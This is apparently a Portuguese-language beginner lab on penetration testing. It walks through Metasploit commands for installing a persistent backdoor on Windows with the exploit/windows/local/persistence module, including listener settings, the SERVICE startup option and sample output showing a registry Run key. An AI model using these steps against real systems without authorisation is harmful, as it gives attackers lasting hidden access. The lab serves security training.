Estabelecer Persistência com um Módulo Metasploit

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá o processo fundamental de estabelecer persistência em um sistema alvo usando o Metasploit Framework. Persistência é uma fase crítica em testes de penetração, permitindo que um atacante mantenha acesso a um sistema comprometido mesmo após a reinicialização ou a perda da conexão inicial. Exploraremos como usar um módulo específico do Metasploit para criar um backdoor que se reconecta automaticamente à sua máquina. Este laboratório foca nos comandos e conceitos em um ambiente controlado e simulado.

Obter uma sessão Meterpreter privilegiada em um alvo

Nesta etapa, iniciaremos o Metasploit Framework e entenderemos o contexto de nossa tarefa. Em um teste de penetração real, estabelecer persistência é uma atividade pós-exploração. Isso significa que você já teria obtido acesso inicial ao sistema alvo, tipicamente na forma de uma sessão Meterpreter.

Para este laboratório, focaremos nos comandos e procedimentos para configurar a persistência. Assumiremos que você já comprometeu com sucesso um alvo e tem uma sessão Meterpreter em execução em segundo plano.

Primeiro, vamos iniciar o console do Metasploit a partir do terminal. O flag -q fornece um início silencioso, suprimindo o banner de inicialização.

msfconsole -q

Seu prompt de comando agora deve mudar para msf6 >, indicando que você está dentro do Metasploit Framework.

Em um cenário real com uma sessão ativa, você poderia listá-la com o comando sessions. Para interagir com ela, você usaria sessions -i <session_id>. Para retornar ao prompt msf6 > para usar módulos de pós-exploração, você usaria o comando background dentro da sessão Meterpreter. Prosseguiremos como se já tivéssemos colocado nossa sessão em segundo plano.

Procurar por módulos de pós-exploração de persistência

Nesta etapa, procuraremos módulos dentro do Metasploit que possam nos ajudar a estabelecer persistência. O Metasploit possui uma poderosa função de busca que permite encontrar módulos com base em palavras-chave, tipo, plataforma e muito mais.

Estamos procurando um módulo relacionado a "persistence". Vamos usar o comando search dentro do console do Metasploit para encontrar módulos relevantes.

search persistence

Este comando retornará uma lista de exploits, módulos auxiliares e de pós-exploração que correspondem à palavra-chave. A saída mostra o nome do módulo, data de divulgação, classificação (rank) e uma breve descrição.

Sua saída será semelhante a esta (alguns detalhes podem variar):

Matching Modules
================

   ##   Name                                           Disclosure Date  Rank       Check  Description
   -   ----                                           ---------------  ----       -----  -----------
   0   auxiliary/admin/http/dlink_dir_600_http_login    2013-02-01       normal     No     D-Link DIR-600 'dlink_user' Persistence
   1   exploit/linux/local/cron_persistence             2020-01-28       excellent  Yes    Cron Persistence
   2   exploit/osx/local/persistence                    2015-05-11       excellent  Yes    OS X Persistent Launchd Job
   3   exploit/windows/local/persistence                2012-08-20       excellent  No     Windows Persistent Service Installer
   4   exploit/windows/local/persistence_service        2014-09-11       excellent  Yes    Persistent Service Installer
   5   post/android/manage/remove_persistence           2018-09-20       normal     No     Remove persistence from device
   6   post/android/manage/set_persistence              2018-09-20       normal     No     Set persistence on device
   7   post/multi/manage/shell_to_meterpreter                          normal     No     Shell to Meterpreter Upgrade
   8   post/osx/manage/persistence                      2018-09-20       normal     No     Install persistence on OSX
   9   post/windows/manage/persistence_exe              2013-03-06       normal     No     Windows Manage Persistent EXE Payload
   10  post/windows/manage/ssh_inject                   2012-11-20       normal     No     Windows Manage SSH User Key Injection

Como você pode ver, existem várias opções. Para este laboratório, focaremos em exploit/windows/local/persistence, um módulo confiável e comumente usado para criar um serviço persistente em sistemas Windows.

Usar o módulo exploit/windows/local/persistence

Nesta etapa, você selecionará o módulo de persistência que identificamos anteriormente. O comando use no Metasploit carrega um módulo específico no contexto atual, permitindo que você o configure e execute.

Para selecionar o módulo, você pode digitar seu caminho completo ou usar seu número dos resultados da busca (por exemplo, use 3). Usar o caminho completo é geralmente mais confiável, pois os números podem mudar.

Vamos carregar o módulo exploit/windows/local/persistence.

use exploit/windows/local/persistence

Após executar este comando, seu prompt mudará para refletir o módulo atualmente carregado: msf6 exploit(windows/local/persistence) >.

Agora que o módulo está carregado, podemos visualizar suas opções para ver o que precisa ser configurado. Use o comando show options.

show options

Isso exibirá uma tabela de todos os parâmetros que você pode definir para este módulo, seus valores atuais e se eles são obrigatórios.

Module options (exploit/windows/local/persistence):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DELAY    10               yes       Delay in seconds for persistent payload to connect back
   LHOST                     no        The local listener IP address
   LPORT    4444             no        The local listener port
   REX_PORT 0                no        The port to connect to on the remote host
   SESSION                   yes       The session to run this module on
   STARTUP  USER             yes       Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)
   ...

Observe que SESSION é uma opção obrigatória. É aqui que você especificaria o ID da sua sessão Meterpreter comprometida.

Configurar opções para inicialização automática e payload

Nesta etapa, configuraremos as opções necessárias para o nosso módulo de persistência. Com base na saída de show options, precisamos definir vários parâmetros para definir como o mecanismo de persistência se comportará. O comando set é usado para atribuir valores a essas opções.

Primeiro, vamos especificar a sessão. Em um cenário real, você usaria o ID da sua sessão ativa (por exemplo, set SESSION 1). Para este laboratório, definiremos como 1 como um placeholder.

set SESSION 1

Em seguida, precisamos configurar o payload que o mecanismo de persistência executará. Este payload fará uma chamada de volta para a nossa máquina. Devemos definir LHOST (nosso endereço IP) e LPORT (a porta na qual ouviremos). Vamos definir LHOST para o endereço de loopback local 127.0.0.1 e LPORT para 4445 (para evitar conflitos com outros handlers potenciais).

set LHOST 127.0.0.1
set LPORT 4445

A opção STARTUP determina como o payload é iniciado na máquina alvo. As opções são USER (executa quando o usuário faz login), SYSTEM (executa quando o sistema inicializa) ou SERVICE (executa como um serviço do sistema). Vamos escolher SERVICE para privilégios mais altos e discrição.

set STARTUP SERVICE

Você pode executar show options novamente para verificar se todas as suas configurações foram aplicadas corretamente. Todos os valores que você acabou de definir agora devem ser refletidos na coluna "Current Setting".

Executar o módulo e verificar o mecanismo de persistência

Nesta etapa final, executaremos o módulo. Com todas as opções configuradas, a execução do módulo tentará instalar o script de persistência no sistema alvo através da sessão especificada. Para executar o módulo, basta usar o comando run ou exploit.

run

Resultado Esperado: Em nosso ambiente simulado, este comando falhará porque não há uma sessão ativa com o ID 1. Você verá uma mensagem de erro semelhante a esta:

[-] Exploit failed: Rex::Post::Meterpreter::RequestError The session is not valid.

Este é o comportamento esperado para este laboratório, pois não estamos trabalhando com um host ativo e comprometido.

Em um cenário real com uma sessão válida, a saída seria muito diferente. Ela mostraria o módulo fazendo upload de um script, modificando o registro e confirmando que o mecanismo de persistência foi instalado com sucesso. Uma execução bem-sucedida poderia parecer com isto:

[*] Running module against TARGET-PC
[*] Installing persistence script...
[+] Persistence script uploaded to C:\Users\Admin\AppData\Local\Temp\abcde.vbs
[*] Creating startup registry key...
[+] Persistence registry key created at HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fGhiJkL
[*] Starting the payload handler...
[+] Persistence established. The service will start on next boot.

Para completar o processo em um teste real, você configuraria um novo handler (use exploit/multi/handler) configurado com o mesmo LHOST e LPORT (127.0.0.1 e 4445). Após a reinicialização da máquina alvo, o payload persistente seria executado e se conectaria de volta ao seu handler, fornecendo uma nova sessão Meterpreter.

Resumo

Neste laboratório, você aprendeu o processo fundamental de estabelecer persistência em um sistema alvo usando o Metasploit Framework. Você praticou a busca por módulos relevantes, a seleção e configuração do módulo exploit/windows/local/persistence e a compreensão de seu funcionamento.

Embora tenhamos simulado o ambiente sem um alvo ativo, você aprendeu os comandos exatos e o fluxo de trabalho necessários para criar um backdoor persistente em um teste de penetração do mundo real. Essa habilidade é crucial para manter o acesso a longo prazo durante avaliações de segurança.

Parabéns por completar o laboratório!